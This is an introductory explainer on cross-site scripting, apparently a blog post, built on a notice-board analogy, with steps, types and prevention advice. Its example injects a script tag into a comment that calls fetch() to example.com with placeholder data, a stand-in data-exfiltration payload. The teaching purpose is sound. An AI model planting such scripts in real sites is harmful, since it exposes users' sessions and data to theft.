What is XSS (Cross-Site Scripting)?

Story Time

Imagine your office has a public notice board where anyone can walk up and pin messages like “Team lunch at 1 PM” and “Meeting moved to 3 PM”. Everyone trusts this board and whatever is written there is assumed to be safe and informative.

Now one day, someone pins a message that looks normal, but hidden inside it is a small instruction, “When someone reads this, quietly copy their ID card details and send it to me.”

The board doesn’t know the difference, because, duh.. its a board. It simply displays whatever is posted and the moment someone reads that message they follow the hidden instruction as well as the board itself is trusted by everyone.

Now that’s the problem. Let’s translate this story into technology terms. The notice board in our story translates to Website UI (what you see). The pinned message with the hidden message translates to the User input (comments, forms, search) and the hidden instruction which asked people for their personal information is the Malicious script inside a trusted board (website).

The reader of the board is the Browser who follows this command and shares the requested information in essence executing the malicious script as its a trusted board/website.

The key issue here is the system trusted user input as harmless but it contained executable instructions. This is exactly what XSS (Cross-Site Scripting) is.

What is XSS?

XSS happens when a website takes input from a user and shows it to other users without checking it properly and the browser ends up executing it as code. The clarity on this topic is very important.

• The website thinks it’s displaying data

• The browser ends up executing it as code

And the browser does not know the difference.

Let’s Visualize a Simple Example

Imagine a website with a comment section:

User A writes:
"This article is helpful!"

The website stores it and later shows:

"This article is helpful!"

So far so good. Now imagine another user submits:

Nice post! <script>
  fetch('https://example.com/log?data=demo')
</script>

The website stores it and renders / displays it exactly as it is. Something like this

<div>
  Nice post! 
  <script>
    fetch('https://example.com/log?data=demo')
  </script>
</div>

And when the browser reads the page, it sees something that looks like JavaScript and executes it automatically. The website didn’t intend this, however it happened anyway.

The most important part to understand is that when you open a webpage, the browser downloads HTML (structure of the page) and parses it line by line. Whenever it sees JavaScript, it runs it. The browser assumes that “If it’s in the page, it’s trusted.”

It does NOT think “Was this input from a user?” or “Is this dangerous?”. It simply executes.

Step-by-Step: How XSS Happens

Now based on the example above, let’s walk through it slowly.

• Step 1: A user types something into a form, comment ox, search bar or even their profile name.

• Step 2: Website stores or reflects it. The backend saves it in some form (for comments, profile name, etc.), maybe in a database or sends it back immediately (search results, error page, etc.)

• Step 3: Website renders it in HTML and the page now includes that user input

• Step 4: Browser loads the page as a HTML and reads everything inside the HTML.

• Step 5: If that input includes something that looks like JavaScript, the browser doesn’t see it as “user input” but as instructions(script)

• Step 6: Browser executes it and now someone else’s code is running inside your browser, as if the website itself wrote it.

Why Does the Browser Execute It Automatically?

Now this seems to be the root of all evil right. If only browser could differentiate between user input and website design. Now you should think slightly different from this was as browser is not an all knowing application. It is meant to do something and whatever else is there is just add-on / bonus. Now that's my personal take.

Leaving that side, in reality, because of how the web is designed, webpages are made of HTML for structure, CSS for styling and JavaScript for behavior. When the browser sees JavaScript inside a page, it is designed to execute it because that is the primary goal of a browser, to render HTML and display it with the right structure and formatting.

To the browser, everything in the page is equal.

Why is XSS Dangerous?

Let's keep it simple, if someone’s script runs in your browser, it can

• Read your session data like cookies and authorization tokens which may represent your login

• Act like you and perform actions on your behalf and click buttons, submit forms

• Change what you see like display a fake UI or show wrong information or even trick you into entering data otherwise not required to be shared on the original website.

The scary part in this is that it runs inside a trusted website. So you don’t suspect anything.

Types of XSS

Lets not go too deep yet and complicate it all. On a very high level, these are the different classifications.

• Stored XSS - Malicious input is saved in the database and is shown to every user later. For example, comment section.

• Reflected XSS - Input is immediately returned in the response. For example, search results page

• DOM-based XSS - Now this one happens entirely in the browser. The JavaScript on the page processes input and injects it real time.

All three share the same root problem Untrusted input becomes executable code.

How Do We Prevent XSS?

We don’t need deep security techniques yet, I'll just give the idea here

• Treat all user input as unsafe. Never trust it blindly.

• Escape / sanitize input. Make sure it is displayed as text, not code.

• Use browser protections like CSP (Content Security Policy). This helps restrict what scripts can run on your website.

The goal is simple "Ensure input stays data, not executable code."

To Summarize

XSS happens when user input is treated as trusted code. The browser automatically executes JavaScript it finds in a page as it cannot distinguish between safe content and malicious input. This can lead to data theft, impersonation, and UI manipulation.

The root fix is: "never trust input and always treat it as unsafe"

Just remember one thing, XSS is not about hackers being clever. It’s about systems trusting input they shouldn’t.